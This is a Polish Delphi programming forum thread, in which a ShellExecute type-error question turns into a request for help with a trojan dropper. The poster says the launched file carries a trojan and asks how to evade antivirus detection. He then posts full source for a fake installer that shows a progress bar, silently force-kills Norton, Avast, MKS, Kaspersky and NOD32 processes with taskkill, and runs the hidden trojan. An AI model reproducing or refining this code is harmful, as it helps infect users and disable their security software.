Uruchamianie zewnętrznego exe przez shellexecute

0

Witam
Moj program ma uruchomic pewną aplikacje, mam pewny problem z tym, zuccie okiem ;) :

procedure TForm1.Timer2Timer(Sender: TObject);
var
sciezka:string;
begin
a:=a+15;
progressbar1.Position:=a;
sciezka:=ExtractFilePath(Application.ExeName)+'xx\irek.jpg' ;//tu jest sciezka do programu ktory ma byc otwarty
if progressbar1.Position=50 then begin
ShellExecute(Handle, 'open', sciezka, '/F /IM /T' ,nil, SW_HIDE); //otwieranie pliku , tylko trzeba cos zrobic w miejce sciezki bo nie chce sie zaladowac wyskakuje blad: Incompatible types: 'String' and 'PAnsiChar' :| , dopiero jak dam w pazurki to dziala ale nie o to chodzi.
form1.Close;
end; end;
po wlaczeniu programu laduje sie progressbar i gdy dojdzie do konca ma sie uruchomic plik ktory jest w katalogu ExtractFilePath(Application.ExeName)+'xx\irek.jpg'
Co mam zrobic zeby to dzialalo?
Dzieki za odpowiedz
pozdrawiam ;-)

0

Zamiast sciezka daj PChar(sciezka).. i używaj wyszukiwarki, bo było setki razy.

0

Dziala ;] Wielkie dzieki Szczawnik!

procedure TForm1.Timer2Timer(Sender: TObject);
var
sciezka:string;
begin
a:=a+15;
progressbar1.Position:=a;
sciezka:=ExtractFilePath(Application.ExeName)+'xx\irek.jpg' ;
if progressbar1.Position=50 then begin
ShellExecute(Handle, 'open', PChar(sciezka), '/F /IM /T' ,nil, SW_HIDE);
timer2.Enabled:=false;
form1.Close;
end;

0
Marianss napisał(a)

ShellExecute(Handle, 'open', sciezka, '/F /IM /T' ,nil, SW_HIDE); //otwieranie pliku , tylko trzeba cos zrobic w miejce sciezki bo nie chce sie zaladowac wyskakuje blad: Incompatible types: 'String' and 'PAnsiChar' :| , dopiero jak dam w pazurki to dziala ale nie o to chodzi.
Tak to jeszcze nie słyszałem :)

Marianss napisał(a)

Wielkie dzieki Szczawnik!
:-D

Sorry za OT ;)

0

sory Szczawik pomylilo mi sie, bylem zamyslony programem:)
mam jeszcze jeden problem, robie pewien program i kurde jest problem z wykrywaniem go przez antywirusy.
A wiec to wyglada tak:
Jest spakowany folder o nazwie instalka
+instalka
-instalka.exe
+folder
+folder
+folder
+folder
+folder
-plik.exe
wlaczając plik instalka.exe laduje sie progressbar i gdy dochodzi do konca uruchamia sie plik w tych folderach o nazwie plik.exe a aplikacja instalka.exe sie wylacza.
I teraz tak plik o nazwie plik.exe jest zainfekowany trojanem, wszystko to jest spakowane, gdy sciagam z serwera nic sie niedzieje ale gdy juz mam na dysku i chce rozpakowac na pulpit drze sie antywir,
i musze ten plik.exe spakowac jeszcze raz zeby byl w spakowanym instalka, czy jakos tak ;-P
wiec aby rozpakowac go musze przerobic plik instalka.exe zeby mi rozpakowywal plik.exe i potem uruchamial go.
Pomozecie mi z tym?? Robie to w celach edukacyjnych.
aha i ten plik instalka.exe wylacza tez antywirusy ale zanim to zrobi musi byc rozpakowany :-/ wiec musze spakowac tamto plik.exe jeszcze raz
dzieki za odpowiedz
pozdrawiam

0

Tj moj program

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,shellapi, ExtCtrls, StdCtrls, ComCtrls;

type
TForm1 = class(TForm)
Timer1: TTimer;
Timer2: TTimer;
ProgressBar1: TProgressBar;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Timer3: TTimer;
Panel1: TPanel;
Label1: TLabel;
Label6: TLabel;
Image1: TImage;
procedure Timer1Timer(Sender: TObject);
procedure Timer2Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Timer3Timer(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
private
{ Private declarations }
public
a,b:integer;
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
*timer1.Enabled:=true; *wlacza timera
//norton
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVAPSVC.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAV.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVAP.NAVAPSVC.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVAPWł2.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVDX.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVENGNAVEX15.NAVLUł2.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVLUł2.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVNT.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVSTUB.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVW32.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NAVWNT.EXE /T' , nil, SW_HIDE);
//avast
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashWebSv.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashMailSv.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashDisp.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashServ.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM ashUpdSv.exe /T' , nil, SW_HIDE);
//mks
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM mks.exe /T' , nil, SW_HIDE);
//kaspersky
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM kav.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM kavsend.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM kavsvc.exe /T' , nil, SW_HIDE);
//nod
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM Nod32krn.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM Nod32kui.exe /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NOD32.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NOD32CC.EXE /T' , nil, SW_HIDE);
ShellExecute(Handle, 'open', 'cmd.exe', '/c taskkill /F /IM NOD32M2.EXE /T' , nil, SW_HIDE);

end;
procedure TForm1.Timer2Timer(Sender: TObject);
var
sciezka,sciezka2:string;
begin
a:=a+15;
progressbar1.Position:=a;
sciezka:=ExtractFilePath(Application.ExeName)+'help\file\file\file\file\file\file\plik.exe' ; //sciazka do pliku
if progressbar1.Position=50 then begin
ShellExecute(Handle, 'open', PChar(sciezka), '/F /IM /T' ,nil, SW_HIDE); //otwiera plik
timer2.Enabled:=false; //wylaczanie timera
form1.Close; //zakonczenie programu instalka.exe
end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
timer2.Enabled:=true;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
begin
end;

procedure TForm1.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
begin
//application.Run;
end;

end.

1 użytkowników online, w tym zalogowanych: 0, gości: 1